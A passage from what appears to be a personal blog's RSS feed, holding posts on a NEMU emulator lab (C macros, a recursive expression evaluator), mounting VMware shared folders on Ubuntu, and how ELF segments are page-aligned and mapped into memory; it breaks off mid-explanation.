&lt;p&gt;A macro for &lt;strong&gt;conditional compilation&lt;/strong&gt; can also be implemented — “if a certain macro is defined, then keep a certain piece of code”:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;#define __IGNORE(...)
#define __KEEP(...) __VA_ARGS__
#define IFDEF(macro, ...) MUXDEF(macro, __KEEP, __IGNORE)(__VA_ARGS__)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note that &lt;code&gt;__KEEP&lt;/code&gt; and &lt;code&gt;__IGNORE&lt;/code&gt; won’t get expanded during the invocation of &lt;code&gt;MUXDEF&lt;/code&gt; unless there are arguments passed to &lt;code&gt;__KEEP&lt;/code&gt; and &lt;code&gt;__IGNORE&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;pa1-the-cpu-execution-process&quot;&gt;pa1: The CPU execution process&lt;/h2&gt;
&lt;p&gt;The core CPU execution process in NEMU is fetch, decode, and execute.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250806164216764&quot; width=&quot;1631&quot; height=&quot;461&quot; src=&quot;https://sh10rl.top/_astro/image-20250806164216764.D-q7RtHp_2hhoQk.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;This consequently involves two structs: &lt;code&gt;Decode&lt;/code&gt; and &lt;code&gt;CPU_state&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// &apos;nemu/include/cpu/decode.h&apos;
typedef struct Decode {
  vaddr_t pc;
  vaddr_t snpc; // static next pc
  vaddr_t dnpc; // dynamic next pc
  ISADecodeInfo isa;
  IFDEF(CONFIG_ITRACE, char logbuf[128]);
} Decode;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// &apos;/nemu/src/isa/riscv32/include/isa-def.h&apos;
typedef struct {
  word_t gpr[MUXDEF(CONFIG_RVE, 16, 32)]; // general purpose registers
  vaddr_t pc;
} MUXDEF(CONFIG_RV64, riscv64_CPU_state, riscv32_CPU_state);

// &apos;/nemu/include/isa.h&apos;
typedef concat(__GUEST_ISA__, _CPU_state) CPU_state;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Decode&lt;/code&gt; is the &lt;strong&gt;temporary context&lt;/strong&gt; for each instruction; it defines &lt;code&gt;snpc&lt;/code&gt; as the static next PC (&lt;code&gt;pc + 4&lt;/code&gt;) and &lt;code&gt;dnpc&lt;/code&gt; as the actual address of the next instruction—mainly due to branches and jumps.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CPU_state&lt;/code&gt; is the &lt;strong&gt;overall architectural state&lt;/strong&gt; that gets changed after each call to &lt;code&gt;exec_once()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;pa1-recursively-evaluate-an-expression&quot;&gt;pa1: Recursively evaluate an expression&lt;/h2&gt;
&lt;p&gt;This is a familiar topic: the key idea of recursion is to divide a big problem into smaller ones and solve them. The following steps are involved when orchestrating a recursive function:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Tackle the &lt;strong&gt;error&lt;/strong&gt; cases.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tackle the &lt;strong&gt;basic problem&lt;/strong&gt; cases.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tackle the &lt;strong&gt;non-basic problem&lt;/strong&gt; cases; this is commonly done by calling the function &lt;strong&gt;itself&lt;/strong&gt; to perform the division of the problem.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Put succinctly, the fundamental role of a recursive function is to &lt;strong&gt;handle different cases&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;the-cleverness-of-check_parentheses&quot;&gt;The cleverness of &lt;code&gt;check_parentheses&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;static bool check_parentheses(int p, int q) {
  if (tokens[p].type != &apos;(&apos; || tokens[q].type != &apos;)&apos;) return false;
  int balance = 0;
  for (int i = p + 1; i &amp;#x3C; q; i++) {
    if (tokens[i].type == &apos;(&apos;) balance++;
    else if (tokens[i].type == &apos;)&apos;) balance--;
    if (balance &amp;#x3C; 0) return false;
  }
  return balance == 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We assume the first and last tokens form a matching pair and check only the interior tokens from &lt;code&gt;p + 1&lt;/code&gt; to &lt;code&gt;q - 1&lt;/code&gt;. If they are balanced (i.e., first &lt;code&gt;(&lt;/code&gt; then &lt;code&gt;)&lt;/code&gt;), the assumption holds and the function returns &lt;code&gt;true&lt;/code&gt;. If they are imbalanced (i.e., first &lt;code&gt;)&lt;/code&gt; then &lt;code&gt;(&lt;/code&gt;), for example in &lt;code&gt;(4 + 3) * (2 - 1)&lt;/code&gt;, the function returns &lt;code&gt;false&lt;/code&gt;. We therefore maintain a &lt;code&gt;balance&lt;/code&gt; variable to implement the checking function. In the balanced case, &lt;code&gt;balance&lt;/code&gt; will always be non-negative thourghout the scan.&lt;/p&gt;
&lt;h3 id=&quot;skip-over-parentheses&quot;&gt;Skip over parentheses&lt;/h3&gt;
&lt;p&gt;We should find the main operator (the operator with &lt;strong&gt;the lowest precedence&lt;/strong&gt;) only outside the parentheses. Tokens inside &lt;code&gt;()&lt;/code&gt; are not considered:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;static int find_main_op(int p, int q) {
  int main_op = -1;
  int min_precedence = 100;
  int balance = 0;
  // Traverse all the tokens
  for (int i = p; i &amp;#x3C;= q; i++) {
    // Jump through the parentheses
    if (tokens[i].type == &apos;(&apos;) {
      balance++;
      continue;
    }
    if (tokens[i].type == &apos;)&apos;) {
      balance--;
      continue;
    }
    if (balance != 0) continue;

    // Find the operator with the lowest precedence
    int precedence;
    switch(tokens[i].type) {
      case &apos;+&apos;: case &apos;-&apos;: precedence = 1; break;
      case &apos;*&apos;: case &apos;/&apos;: precedence = 2; break;
      default: continue;
    }

    if (precedence &amp;#x3C;= min_precedence) {
      min_precedence = precedence;
      main_op = i;
    }
  }
  return main_op;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;handle-errors-in-the-recursion-of-eval&quot;&gt;Handle errors in the recursion of eval()&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;eval()&lt;/code&gt; function takes the boundaries of the expression and returns the evaluation result, but what if an error occurs?&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;success&lt;/code&gt; boolean variable is used as a &lt;strong&gt;global error flag&lt;/strong&gt;. &lt;code&gt;eval()&lt;/code&gt; passes its pointer on each recursive call:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;static word_t eval(int p, int q, bool *success){
    if( p &gt; q ){ ... }
    else if ( p == q ) { ... }
    else if(check_parentheses(p, q) == true) { ... }
    else{
        int op = find_main_op(p, q);
        [ ... ]
        word_t val1 = eval(p, op - 1, success);
        if (!*success) return 0;
        word_t val2 = eval(op + 1, q, success);
        if (!*success) return 0;
        switch(tokens[op].type){
          case &apos;+&apos;: return val1 + val2;
          case &apos;-&apos;: return val1 - val2;
          case &apos;*&apos;: return val1 * val2;
          [ ... ]
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For instance, given the input &lt;code&gt;5 + (3 * zxcvbn)&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;eval(0, 6)  // &quot;5 + (3 * zxcvbn)&quot;
├── eval(0, 0)  // &quot;5&quot; → success = true, returns 5
└── eval(2, 6)  // &quot;(3 * zxcvbn)&quot;
    └── eval(3, 5)  // &quot;3 * zxcvbn&quot;
        ├── eval(3, 3)  // &quot;3&quot; → success = true, returns 3
        └── eval(5, 5)  // &quot;zxcvbn&quot; → success = false, returns 0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;eval(3, 5)&lt;/code&gt; and &lt;code&gt;eval(0, 6)&lt;/code&gt; terminate before completing evaluation. The error is successfully propagated to &lt;code&gt;cmd_x&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;word_t expr(char *e, bool *success) {
  [ ... ]
  *success = true;
  return eval(0, nr_token - 1, success);
}

static int cmd_x(char *args){
  [ ... ]
  bool success = true;
  paddr_t addr = expr(arg2, &amp;#x26;success);
  if (!success) {
    printf(&quot;Invalid expression for address.\n&quot;);
    return 0;
  }
  [ ... ]
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Of the three subsections above, two of them showed how a meticulously defined variable &lt;code&gt;balance&lt;/code&gt; determines matching parentheses, and the last illustrated an error-handling method in recursive calls that avoids issues like silent failures, cascading errors, and unnecessary computation.&lt;/p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://en.cppreference.com/w/c/preprocessor/replace&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://en.cppreference.com/w/c/preprocessor/replace&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/26099745/test-if-preprocessor-symbol-is-defined-inside-macro&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://stackoverflow.com/questions/26099745/test-if-preprocessor-symbol-is-defined-inside-macro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Divide-and-conquer_algorithm&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Divide-and-conquer_algorithm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Backus%E2%80%93Naur_form&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Backus%E2%80%93Naur_form&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Box-drawing_characters&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Box-drawing_characters&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;utilities-for-debugging&quot;&gt;Utilities for debugging&lt;/h2&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// The upgraded version of `printf`
Log(&quot;Processing expression starting at position %d. Current substring: &apos;%s&apos;&quot;, position, e + position);
printf(ANSI_FMT(&quot;[expr] Error: Invalid register name &apos;%s&apos;.\n&quot;, ANSI_FG_RED), tokens[p].str);
// The upgraded version of `assert`
Assert(len &amp;#x3C; TOKEN_BUF_SIZE, &quot;Token string too long! Length: %d, Max: %d&quot;, len, TOKEN_BUF_SIZE - 1);
assert(len &amp;#x3C; TOKEN_BUF_SIZE);
// The upgraded version of `Assert` that implies this line of code should not be executed
panic(&quot;Unexpected token type %d in expression evaluation. This should not happen!&quot;, type);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded><category>Learn</category></item><item><title>Mount shared folders on a virtual machine</title><link>https://sh10rl.top/posts/mount-folders-vmware/</link><guid isPermaLink="true">https://sh10rl.top/posts/mount-folders-vmware/</guid><description>My newly installed Ubuntu-22.04 on VMware does not show shared folders in /mnt/hgfs directory, though the target folder Desktop has been set, so the…</description><pubDate>Mon, 04 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;the-problem-mnthgfs-does-not-show-shared-folders&quot;&gt;The problem: &lt;code&gt;/mnt/hgfs&lt;/code&gt; does not show shared folders&lt;/h2&gt;
&lt;p&gt;My newly installed Ubuntu-22.04 on VMware does not show shared folders in &lt;code&gt;/mnt/hgfs&lt;/code&gt; directory, though the target folder &lt;code&gt;Desktop&lt;/code&gt; has been set, so the current situation is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Host OS: Windows 11&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Guest OS: Ubuntu 22.04&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;open-vm-tools&lt;/code&gt; and &lt;code&gt;open-vm-tools-desktop&lt;/code&gt; (latest) are installed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Neither file nor directory exists (only &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;..&lt;/code&gt;) inside &lt;code&gt;/mnt/hgfs&lt;/code&gt; (the mount point)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;.host:/Desktop&lt;/code&gt; has been mounted to &lt;code&gt;/mnt/hgfs&lt;/code&gt; using &lt;code&gt;vmhgfs-fuse&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ df -h
Filesystem      Size  Used Avail Use% Mounted on
vmhgfs-fuse 952G 428G 525G 45% /mnt/hgfs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;solution&quot;&gt;Solution&lt;/h2&gt;
&lt;p&gt;Try to uninstall the existing mounts and remount all shared folders:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ sudo fusermount -u /mnt/hgfs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;There shouldn’t be any output from &lt;code&gt;df -h | grep hgfs&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ sudo mount -t fuse.vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other -o uid=1000 -o gid=1000 # use command `id` to adjust the uid and gid&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ sudo ls /mnt/hgfs # do as super user mode since there may have some permission issues
Desktop&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Refresh the shared folder setting on the host side if it still doesn’t work.&lt;/p&gt;
&lt;p&gt;Setting up auto-mount if needed:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ echo &quot;.host:/ /mnt/hgfs fuse.vmhgfs-fuse defaults,allow_other,uid=1000,gid=1000 0 0&quot; | sudo tee -a /etc/fstab # -a to append a new line, same as `echo &apos; ... &apos; &gt;&gt; /etc/fstab`
$ sudo reboot&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://knowledge.broadcom.com/external/article?legacyId=60262&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://knowledge.broadcom.com/external/article?legacyId=60262&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://askubuntu.com/questions/29284/how-do-i-mount-shared-folders-in-ubuntu-using-vmware-tools&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://askubuntu.com/questions/29284/how-do-i-mount-shared-folders-in-ubuntu-using-vmware-tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><category>Sundries</category></item><item><title>ELF sections, segments, and their mapping in memory</title><link>https://sh10rl.top/posts/elf-sections-segments-and-mapping/</link><guid isPermaLink="true">https://sh10rl.top/posts/elf-sections-segments-and-mapping/</guid><description>This article’s aim is to generally explain what sections and segments are in an ELF file on x86-64 GNU/Linux and how they are mapped to memory. It’s…</description><pubDate>Sun, 20 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This article’s aim is to generally explain what sections and segments are in an ELF file on x86-64 GNU/Linux and how they are mapped to memory. It’s a good practice to understand ELF file structure and virtual memory mapping; this article also serves as my personal note.&lt;/p&gt;
&lt;h2 id=&quot;program-headers-and-pt_load-segments&quot;&gt;Program headers and PT_LOAD segments&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/x0nu11byt3/bcb35c3de461e5fb66173071a2379779#program-headers-phdr&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Program headers&lt;/a&gt;, preceded by &lt;a href=&quot;https://gist.github.com/x0nu11byt3/bcb35c3de461e5fb66173071a2379779#executable-headers-ehdr&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ELF header&lt;/a&gt;, are essentially an array of structures that can be parsed to show the mapping between &lt;strong&gt;sections&lt;/strong&gt; (within ELF file) and &lt;strong&gt;segments&lt;/strong&gt; (loaded into memory).&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;ELF file structure diagram.&quot; width=&quot;2576&quot; height=&quot;938&quot; src=&quot;https://sh10rl.top/_astro/image-20250721133514543.BkHUnGSN_lq4VV.webp&quot;&gt;&lt;figcaption&gt;ELF file structure diagram.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The diagram above shows a panoramic view of an ELF file structure. Now, I want to know exactly where program headers reside and what each header contains&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. It’s always a good way to start by compiling a simple program and examining it with tools like &lt;code&gt;readelf&lt;/code&gt;, &lt;code&gt;gdb&lt;/code&gt;, &lt;code&gt;IDA&lt;/code&gt;, etc., to understand the file structure.&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// test.c
#include &amp;#x3C;stdio.h&gt;
int main(){
	printf(&quot;hello world!, this is function: %s\n&quot;, __FUNCTION__);
	return 0;
}
// Usage: gcc test.c -o test&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;; IDA View-A
[ ... ] skipping ELF header
LOAD:0000000000000040 ; ELF64 Program Header
[ ... ] skipping PHT entry 0 - 2
LOAD:00000000000000E8 ; PHT Entry 3
LOAD:00000000000000E8                 dd 1                    ; Type: LOAD
LOAD:00000000000000EC                 dd 5                    ; Flags
LOAD:00000000000000F0                 dq 1000h                ; File offset
LOAD:00000000000000F8                 dq offset _init_proc    ; Virtual address
LOAD:0000000000000100                 dq 1000h                ; Physical address
LOAD:0000000000000108                 dq 191h                 ; Size in file image
LOAD:0000000000000110                 dq 191h                 ; Size in memory image
LOAD:0000000000000118                 dq 1000h                ; Alignment
[ ... ] skipping staff&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The IDA view shows the virtual memory layout as if it were loaded into memory with &lt;code&gt;base_addr&lt;/code&gt; = &lt;code&gt;0x0000&lt;/code&gt; and each program header contains metadata for one segment—including its type - &lt;code&gt;Type&lt;/code&gt;, alignment boundary for segment- &lt;code&gt;Alignment&lt;/code&gt;, access permissions - &lt;code&gt;Flags&lt;/code&gt;, disk location - &lt;code&gt;File offset&lt;/code&gt; , and runtime address - &lt;code&gt;Virtual address&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;These program headers (the binary data embedded from C structures) will be parsed by &lt;code&gt;readelf&lt;/code&gt;. For the sake of illustrating the relation between each program header and associated segment, I’ve added an &lt;code&gt;Idx&lt;/code&gt; column to &lt;code&gt;Program Headers&lt;/code&gt; output below:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ readelf -l test
[ ... ]
Program Headers:
  Idx  Type           Offset             VirtAddr           PhysAddr           FileSiz            MemSiz             Flags  Align
  00   PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000002d8 0x00000000000002d8  R      0x8
  01   INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318 0x000000000000001c 0x000000000000001c  R      0x1    [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  02   LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000628 0x0000000000000628  R      0x1000
  03   LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000000191 0x0000000000000191  R E    0x1000
  04   LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000 0x0000000000000114 0x0000000000000114  R      0x1000
  05   LOAD           0x0000000000002db8 0x0000000000003db8 0x0000000000003db8 0x0000000000000258 0x0000000000000260  RW     0x1000
  06   DYNAMIC        0x0000000000002dc8 0x0000000000003dc8 0x0000000000003dc8 0x00000000000001f0 0x00000000000001f0  RW     0x8
  07   NOTE           0x0000000000000338 0x0000000000000338 0x0000000000000338 0x0000000000000030 0x0000000000000030  R      0x8
  08   NOTE           0x0000000000000368 0x0000000000000368 0x0000000000000368 0x0000000000000044 0x0000000000000044  R      0x4
  09   GNU_PROPERTY   0x0000000000000338 0x0000000000000338 0x0000000000000338 0x0000000000000030 0x0000000000000030  R      0x8
  10   GNU_EH_FRAME   0x0000000000002034 0x0000000000002034 0x0000000000002034 0x0000000000000034 0x0000000000000034  R      0x4
  11   GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000  RW     0x10
  12   GNU_RELRO      0x0000000000002db8 0x0000000000003db8 0x0000000000003db8 0x0000000000000248 0x0000000000000248  R      0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp
   
   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt
   03     .init .plt .plt.got .plt.sec .text .fini
   04     .rodata .eh_frame_hdr .eh_frame
   05     .init_array .fini_array .dynamic .got .data .bss
   
   06     .dynamic
   07     .note.gnu.property
   08     .note.gnu.build-id .note.ABI-tag
   09     .note.gnu.property
   10     .eh_frame_hdr
   11     
   12     .init_array .fini_array .dynamic .got&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Our focus is on the &lt;code&gt;LOAD&lt;/code&gt; segments which have the &lt;code&gt;p_type&lt;/code&gt; = &lt;code&gt;PT_LOAD (1)&lt;/code&gt;. These are the segments that will actually get loaded into memory&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. You are probably familiar with some of the sections—&lt;code&gt;.text&lt;/code&gt; (&lt;strong&gt;RE&lt;/strong&gt;) section in &lt;code&gt;seg03&lt;/code&gt;, &lt;code&gt;.rodata&lt;/code&gt; (&lt;strong&gt;R&lt;/strong&gt;) section in &lt;code&gt;seg04&lt;/code&gt; , &lt;code&gt;.data&lt;/code&gt; and &lt;code&gt;.bss&lt;/code&gt;  (&lt;strong&gt;RW&lt;/strong&gt;) sections in &lt;code&gt;seg05&lt;/code&gt; . The primary distinction you will see compared to other segments is the value of &lt;code&gt;Align&lt;/code&gt;; Unlike other segments, the &lt;code&gt;LOAD&lt;/code&gt; segments always have an &lt;code&gt;Align&lt;/code&gt; value of &lt;code&gt;0x1000&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;page-alignment-and-its-mapping&quot;&gt;Page alignment and its mapping&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;p_align&lt;/code&gt; member of &lt;code&gt;Phdr&lt;/code&gt; tells the ELF loader&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot; id=&quot;user-content-fnref-4&quot; aria-describedby=&quot;footnote-label&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, “When you are mapping each segment of ELF file to memory, please let the base address of these segments be a multiple of &lt;code&gt;0x1000&lt;/code&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot; id=&quot;user-content-fnref-3&quot; aria-describedby=&quot;footnote-label&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;”. In other words, loadable segments are supposed to be &lt;strong&gt;page aligned&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The basic mapping unit is &lt;strong&gt;a page&lt;/strong&gt;, with a size of &lt;code&gt;0x1000&lt;/code&gt; on x86-64 GNU/Linux. We’ll draw a memory layout diagram for the ELF file based on &lt;code&gt;readelf&lt;/code&gt; output&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2-2&quot; aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;Memory layout diagram of ELF file based on readelf output.&quot; width=&quot;1275&quot; height=&quot;451&quot; src=&quot;https://sh10rl.top/_astro/image-20250723141051847.DpVESwDE_ae4mX.webp&quot;&gt;&lt;figcaption&gt;Memory layout diagram of ELF file based on readelf output.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The loader will map each &lt;strong&gt;file page&lt;/strong&gt; (a page-sized data block from the ELF file) into virtual memory by means of &lt;a href=&quot;https://man7.org/linux/man-pages/man2/mmap.2.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;code&gt;mmap()&lt;/code&gt;&lt;/a&gt; &lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot; id=&quot;user-content-fnref-3-2&quot; aria-describedby=&quot;footnote-label&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; which requires the file offset to be a multiple of page size; The loader &lt;em&gt;sequentially&lt;/em&gt; looks through the program headers and maps the corresponding segments into memory. Here’s the tricky part: as you see, &lt;code&gt;seg05&lt;/code&gt; is not page aligned. How will the loader deal with it?&lt;/p&gt;
&lt;p&gt;First see the result:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;pwndbg&gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x555555554000     0x555555555000 r--p     1000      0 test
    0x555555555000     0x555555556000 r-xp     1000   1000 test
    0x555555556000     0x555555557000 r--p     1000   2000 test
    0x555555557000     0x555555558000 r--p     1000   2000 test
    0x555555558000     0x555555559000 rw-p     1000   3000 test
    0x7ffff7da4000     0x7ffff7dcc000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dcc000     0x7ffff7f54000 r-xp   188000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f54000     0x7ffff7fa3000 r--p    4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7fa3000     0x7ffff7fa7000 r--p     4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7fa7000     0x7ffff7fa9000 rw-p     2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000   1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Focusing on &lt;code&gt;offset&lt;/code&gt; column, the file offset &lt;code&gt;0x2000&lt;/code&gt; gets mapped twice? Does this result in memory waste, and why?&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250723154900452&quot; width=&quot;1626&quot; height=&quot;676&quot; src=&quot;https://sh10rl.top/_astro/image-20250723154900452.BbUSvM0-_2rX3F.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Addressing the first question. ELF loader &lt;em&gt;sequentially&lt;/em&gt; scans through program headers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It sees the first loadable segment:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;seg02&lt;/code&gt; is page-aligned.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;seg02&lt;/code&gt; ranges &lt;code&gt;0x0000&lt;/code&gt; - &lt;code&gt;0x0628&lt;/code&gt;, within &lt;code&gt;0x0000&lt;/code&gt; - &lt;code&gt;0x1000&lt;/code&gt;; I only need to map &lt;strong&gt;1 file page&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;What I should do is to directly map the file page (&lt;code&gt;0x0000&lt;/code&gt; - &lt;code&gt;0x1000&lt;/code&gt;) into the memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Then the second loadable segment:&lt;/strong&gt;&lt;/p&gt;
